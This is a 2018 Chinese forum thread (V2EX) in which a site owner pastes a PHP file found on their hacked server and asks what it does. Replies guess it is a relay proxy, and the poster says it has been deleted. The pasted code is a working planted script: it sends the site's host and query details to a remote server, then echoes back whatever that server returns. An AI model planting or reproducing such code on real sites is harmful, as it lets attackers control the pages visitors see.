acburning
V2EX  ›  问与答

破站被黑了,目录下面多了个文件,请问这个具体是做什么的?

  •  
  •   acburning · Nov 12, 2018 · 1994 views
    This topic created in 2764 days ago, the information mentioned may be changed or developed.
    <?php
    set_time_limit(0);
    header("Content-Type: text/html;charset=utf-8");
    date_default_timezone_set('PRC');
    $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']);

    $Remote_server = "http://www.xxxx.xxx/";
    $host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
    $url = $Remote_server."/site.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME'];


    if(function_exists("curl_init")) {
    $c=curl_init($url);
    if(defined("CURLOPT_ENCODING")) curl_setopt($c,CURLOPT_ENCODING,"");
    curl_setopt($c,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($c,CURLOPT_USERAGENT,$userAgent);
    curl_setopt($c,CURLOPT_VERBOSE,0);
    curl_setopt($c,CURLOPT_FOLLOWLOCATION,1);
    $Content_mb=curl_exec($c);
    }
    else {
    $options=array(
    'http'=>array(
    'method'=>'GET',
    'user_agent'=> $_SERVER['HTTP_USER_AGENT']
    )
    );
    $context = @stream_context_create($options);
    $Content_mb=file_get_contents($url, false, $context);
    }
    echo $Content_mb;

    ?>
    5 replies    2018-11-12 21:19:45 +08:00
    mumbler
        1
    mumbler  
       Nov 12, 2018
    中转代理
    yidinghe
        2
    yidinghe  
       Nov 12, 2018
    通过你的服务器向其他服务器发送请求,但好像又不是 DDOS
    javashell
        3
    javashell  
       Nov 12, 2018 via Android
    我之前遇到过,只不过我的只有上半段的内容,至今没看出来什么意思
    acburning
        4
    acburning  
    OP
       Nov 12, 2018
    多谢大家,文件已经删了
    WEBUG
        5
    WEBUG  
       Nov 12, 2018 via Android
    怎么发现的
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Solana   ·   818 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 34ms · UTC 21:31 · PVG 05:31 · LAX 14:31 · JFK 17:31
    ♥ Do have faith in what you're doing.